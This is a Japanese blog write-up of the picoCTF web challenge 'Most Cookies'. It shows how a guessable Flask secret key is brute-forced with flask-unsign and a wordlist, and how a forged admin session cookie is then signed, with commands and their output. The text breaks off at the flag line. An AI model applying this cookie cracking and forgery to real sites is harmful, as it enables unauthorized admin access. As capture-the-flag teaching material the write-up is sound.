はまやんはまやんはまやん

hamayanhamayan's blog

Most Cookies

| 150 points
Tags:
AUTHOR: MADSTACKS

Description
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:35697/

調査

適当にCookieの名前を入れてみる。
pythonコードを見ながら正式なものを入れると以下のCookieが発行される。

eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YF6jRg.DNHlV3mtL8Lnw1UArw-36foZtCw

ふむ。
それで、ソースコードを見てて、怪しい所はここ

app.secret_key = random.choice(cookie_names)

普通はこんなことしないので。
秘密鍵はクッキーの名前のどれかということになる。
Flaskのsession情報はCookieに入っているので、これだけの情報があれば偽装できそうだ。

Cookie偽装

秘密鍵をまずは特定する。flask-unsignを使おう。

$ flask-unsign -c "eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YF6jRg.DNHlV3mtL8Lnw1UArw-36foZtCw" --unsign --wordlist dic.txt --no-literal-eval  
[*] Session decodes to: {'very_auth': 'snickerdoodle'}  
[*] Starting brute-forcer with 8 threads..  
[+] Found secret key after 28 attemptscadamia  
b'chocolate chip'  

OK.
この鍵を使って、very_authをadminに偽装する。

$ flask-unsign --sign --secret "chocolate chip" --cookie "{'very_auth': 'admin'}"  
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YF7Eng.TVufPZ0tLCBrnSXLWk7HxQ4bLBU  

これをCookieに入れて、/displayにアクセスするとフラグが得られる。

`Flag: